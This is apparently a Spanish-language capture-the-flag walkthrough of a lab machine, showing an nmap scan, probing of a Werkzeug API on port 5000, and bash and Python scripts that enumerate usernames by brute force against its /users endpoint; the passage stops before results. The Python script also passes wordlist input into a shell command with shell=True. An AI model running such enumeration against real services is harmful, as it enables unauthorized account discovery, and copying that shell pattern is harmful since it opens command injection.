Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-27 09:40 EST
Nmap scan report for 172.17.0.2
Host is up (0.000025s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u4 (protocol 2.0)
| ssh-hostkey:
| 3072 20:ab:09:61:00:7b:cc:18:48:8e:bf:8d:3d:e4:cd:b5 (RSA)
| 256 42:0c:71:44:7c:13:ba:8f:b7:82:35:f2:b3:f7:b9:ff (ECDSA)
|_ 256 85:95:6c:96:ac:a1:f0:3e:1e:0d:c1:c8:b0:6f:bb:1d (ED25519)
5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.9.2)
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: Werkzeug/1.0.1 Python/3.9.2
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.24 seconds
Si entramos al puerto 5000 veremos un apartado de una API por lo que ya sabremos que contiene una API y podremos intentar ver por donde tirar para ver si tiene alguna posible vulnerabilidad:
Veremos dos rutas bastante interesantes, si entramos en /add veremos lo siguiente:
Vemos que el metodo no es el correcto por lo que vamos a intentar hacerlo de esta forma, ya que en la parte principal nos indica que podremos añadir un usuario, pero no podemos desde la web, por lo que haremos haciendo un POST, pero tendremos que seguir la estructura que pide para poder añadir un usuario.
Tras varios intentos di con la clave de como tiene que ir estructurado, seria de la sigueinte forma:
Como podremos ver acabamos de añadir al usuario John con la contraseña 123456, ahora que tenemos un usuario añadido vamos a ver si se añadio de forma correcta con el otro directorio llamado /users de la siguiente forma:
curl -X GET "http://<IP>:5000/users?username=John"
Info:
[
[
3,
"John",
"123456"
]
]
Vemos que si lo tenemos añadido y somos el ID numero 3, vamos a realizar una fuerza bruta de usuarios creando un script.
findUserAPI.sh
#!/bin/bash
# Asumiendo que tienes un archivo users.txt con nombres de usuario
while read username; do
response=$(curl -s "http://<IP>:5000/users?username=${username}")
if [[ "$response" != *"User not found"* ]]; then
echo "Usuario encontrado: $username"
echo "$response"
fi
done < users.txt
En python3 seria con este otro script:
findUserAPI.py
import subprocess
# URL base de la API
url = "http://172.17.0.2:5000/users?username={}"
# Función para leer el diccionario desde un archivo
def load_usernames_from_file(file_path):
try:
with open(file_path, 'r') as file:
# Leemos cada línea y eliminamos saltos de línea
return [line.strip() for line in file.readlines()]
except FileNotFoundError:
print(f"El archivo {file_path} no se encuentra.")
return []
# Función para hacer la solicitud con curl
def check_user(username):
# Formateamos la URL con el nombre de usuario
cmd = f"curl -s -X GET \"{url.format(username)}\""
# Ejecutamos el comando curl y obtenemos la salida
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
# Si la respuesta no contiene "User not found", es un usuario válido
if '"error": "User not found"' not in result.stdout:
print(f"Usuario válido encontrado: {username}")
# Main
if __name__ == "__main__":
# Carga el diccionario de usuarios desde el archivo
file_path = 'diccionario.txt' # Cambia el nombre si es necesario
usernames = load_usernames_from_file(file_path)
if usernames:
# Si el diccionario no está vacío, realizamos el fuzzing
for username in usernames:
check_user(username)
else:
print("No se cargaron usuarios desde el archivo.")
En mi caso utilizare el de bash, vamos a utilizar un diccionario de usuario de SecList para probar: